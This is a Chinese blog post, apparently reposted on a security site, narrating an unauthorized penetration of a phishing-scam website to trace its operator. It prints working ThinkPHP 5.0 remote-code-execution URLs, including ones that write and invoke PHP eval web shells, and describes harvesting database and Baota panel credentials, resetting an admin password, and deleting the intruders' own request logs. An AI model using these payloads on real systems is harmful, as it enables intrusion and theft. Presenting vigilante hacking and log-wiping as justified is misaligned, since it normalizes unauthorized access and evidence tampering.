记一次对钓鱼诈骗网站的渗透测试

admin 2024年1月9日11:30:40记一次对钓鱼诈骗网站的渗透测试已关闭评论18 views字数 1986阅读6分37秒阅读模式

0x01 前言背景

一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动

0x02 外网对网站打点

在对网站进行初步信息收集后发现网站使用ThinkPHP5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试:

http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1    //执行phpinfo

记一次对钓鱼诈骗网站的渗透测试
成功弹出phpinfoThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难:

http://www./index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>

文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >被转义为了HTML实体编码:
记一次对钓鱼诈骗网站的渗透测试
在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试:

http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接:

http://www./index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])

得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了
这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php得到MYSQL数据库账户
图片

0x03 提权未遂

连接数据库:
记一次对钓鱼诈骗网站的渗透测试
查询后台管理员数据:
记一次对钓鱼诈骗网站的渗透测试
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system函数果然被禁用了:
记一次对钓鱼诈骗网站的渗透测试
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
记一次对钓鱼诈骗网站的渗透测试
翻阅前几日记录发现最后登陆IP都是101.78.*.*这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的,心里一慌:这应该是挂了VP*了吧
结果不出所料:
记一次对钓鱼诈骗网站的渗透测试
接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
记一次对钓鱼诈骗网站的渗透测试
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
记一次对钓鱼诈骗网站的渗透测试
同时也查阅了一下宝塔数据库中的log日志内容:
记一次对钓鱼诈骗网站的渗透测试
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/中找到了大量以json形式储存的请求信息
记一次对钓鱼诈骗网站的渗透测试
打开时间较早的日志文件,果然有所突破(有可能是VP*不稳定,在操作时突然挂掉了,导致真实IP的泄漏):
记一次对钓鱼诈骗网站的渗透测试
在查询175.167.*.*后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录
记一次对钓鱼诈骗网站的渗透测试
完事收工

往期推荐 

// 1

[CTF记录_强网杯 2019]随便注(三种方法)

// 2

CTF中basename()绕过小结

// 3

【PyHacker编写指南】打造网站后台扫描器

// 4

一次实战挖掘软件逻辑漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月9日11:30:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对钓鱼诈骗网站的渗透测试http://cn-sec.com/archives/2378296.html